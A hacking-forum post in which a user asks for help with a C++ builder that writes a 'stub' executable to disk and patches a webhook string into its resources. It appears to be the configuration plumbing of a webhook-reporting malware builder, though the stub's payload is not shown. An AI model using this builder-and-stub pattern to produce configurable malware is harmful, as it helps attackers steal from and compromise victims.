Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

C 

Builder won't copy the variable in the Stub file [With Resources]

Hi !

I really need help, I've been trying for hours to figure out how to fix this problem but nothing's worked.

My builder takes 2 arguments (webhooks, name) one of which must be passed to my stub (webhooks), my builder has no problem to assign arguments to these 2 variables, but I can't pass my variable (webhooks) to my stub using the FindResource, LoadResource functions... (However my builder build all the stub on the disk with the resources)

I tried with this topic : C++ Stub Builder Tutorial w/ Source Downloads on HF (I can't post link)
and with this article: Modify/Update resources of an Exe/DLL on the fly on CodeProject

Here is my code:

Builder.cpp
Code
 std::string webhooks;
std::string output_filename = "default_name.exe";

HRSRC hStubRsrc = FindResource(nullptr, MAKEINTRESOURCE(IDR_DONOT_CRY1), "donot_cry");
DWORD dwStubSize = SizeofResource(nullptr, hStubRsrc);
HGLOBAL hGlob = LoadResource(nullptr, hStubRsrc);
LPBYTE lpBufferStub = (LPBYTE)LockResource(hGlob);

if (argc == 1)
{
showHelp();
return 0;
}
else if (argc > 5)
{
std::cout << "Too many arguments !\n";
showHelp();
return 0;
}

for (int i = 0; i < argc; i++)
{
if (std::string(argv[i]) == "/h" || std::string(argv[i]) == "/help") { showHelp(); return 0; }


if (std::string(argv[i]) == "/webhooks")
{
if (i + 1 < argc)
{
webhooks = argv[i + 1];
}
}

if (std::string(argv[i]) == "/name")
{
if (i + 1 < argc)
{
output_filename = argv[i + 1];
}
}
}

output_filename += ".exe";
std::cout << webhooks << '\n';
std::cout << output_filename << '\n';

HANDLE hStubCreateOnDisk = CreateFileA(output_filename.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
DWORD dwBytesWritten;
WriteFile(hStubCreateOnDisk, lpBufferStub, dwStubSize, &dwBytesWritten, nullptr);
CloseHandle(hStubCreateOnDisk);

MessageBox(nullptr, webhooks.c_str(), "bbb", 0);

HANDLE hUpdate = BeginUpdateResource(output_filename.c_str(), FALSE);

UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(IDR_DONOT_CRY1), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), &(webhooks), webhooks.size());

EndUpdateResource(hUpdate, FALSE);

Stub.cpp
Code
std::string webhooks;
HRSRC hRsrc = FindResourceA(nullptr, MAKEINTRESOURCE(1), RT_RCDATA);
DWORD srcSize = SizeofResource(nullptr, hRsrc);
HGLOBAL hGlob = LoadResource(nullptr, hRsrc);
webhooks = (char*)LockResource(hGlob);

if (webhooks.empty())
{
MessageBox(nullptr, "EMPTY WEBHOOKS", "EMPTY WEBHOOKS", MB_OK);
}

MessageBox(nullptr, webhooks.c_str(), (LPCSTR)webhooks.size(), MB_OK);

        the rest of the code...

Thanks in advance for your help, If you want to help me by discord it's with pleasure (I'm French but I manage in English :)) [deleted]

Edit:

After couple hours i finally did it, it's works perfectly now !


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Source] by HackersNov 19, 2024 01:51 PM 15 686 Nov 19, 2024 01:51 PM
Last Post: Hackers
[C#] by gigajewJan 18, 2021 05:44 PM 2 240 Jan 18, 2021 05:44 PM
Last Post: gigajew
[C] by jBarrelFeb 14, 2020 03:47 AM 11 396 Feb 14, 2020 03:47 AM
Last Post: Backbone